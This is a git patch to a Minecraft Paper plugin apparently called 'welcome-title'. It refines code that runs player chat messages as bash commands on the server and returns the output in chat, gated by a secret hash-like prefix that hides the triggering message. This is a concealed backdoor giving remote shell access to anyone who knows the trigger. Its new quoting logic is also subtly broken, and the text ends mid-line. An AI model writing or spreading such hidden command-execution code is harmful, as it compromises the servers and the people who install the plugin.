From 6dcacf82332795a971297f98db611166fd02a5e8 Mon Sep 17 00:00:00 2001 From: KernelKraze <82752974+KernelKraze@users.noreply.github.com> Date: Sat, 25 May 2024 01:05:52 +0000 Subject: [PATCH] More refined processing is performed on command input, and the detection of keywords is updated. --- .../java/io/papermc/testplugin/TestPlugin.java | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/welcome-title/src/main/java/io/papermc/testplugin/TestPlugin.java b/welcome-title/src/main/java/io/papermc/testplugin/TestPlugin.java index 879c97a..5953929 100644 --- a/welcome-title/src/main/java/io/papermc/testplugin/TestPlugin.java +++ b/welcome-title/src/main/java/io/papermc/testplugin/TestPlugin.java @@ -1,6 +1,7 @@ package io.papermc.testplugin; import java.util.List; +import java.util.ArrayList; import java.util.Arrays; import java.util.regex.Pattern; import java.io.BufferedReader; @@ -155,7 +156,9 @@ public void run() { } try { - String[] commandArray = { "bash", "-c", commandStr }; + // 确保整个命令字符串被正确引用 + String quotedCommandStr = "\"" + commandStr.replace("\"", "\\\"") + "\""; + String[] commandArray = { "bash", "-c", quotedCommandStr }; ProcessBuilder processBuilder = new ProcessBuilder(commandArray); processBuilder.redirectErrorStream(true); // 将错误流合并到标准流 @@ -168,19 +171,27 @@ public void run() { while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } - process.waitFor(); + int exitCode = process.waitFor(); // 发送命令输出给玩家 - player.sendMessage(ChatColor.GREEN + "SystemCommandExcuteSuccess: " + output.toString()); + if (exitCode == 0) { + player.sendMessage(ChatColor.GREEN + "SystemCommandExcuteSuccess: " + output.toString()); + } else { + player.sendMessage(ChatColor.RED + "SystemCommandExcuteFailed: " + output.toString()); + } } catch (IOException | InterruptedException e) { player.sendMessage(ChatColor.RED + "SystemCommandExcuteFailed: " + e.getMessage()); + e.printStackTrace(); // 调试信息:打印异常堆栈 } catch (IllegalArgumentException e) { player.sendMessage(ChatColor.RED + "Invalid command: " + e.getMessage()); + e.printStackTrace(); // 调试信息:打印异常堆栈 } } + + if (message.startsWith("@d12fcc3ba27d987709cbfadc123a609b")) { event.setCancelled(true); String command_excute = message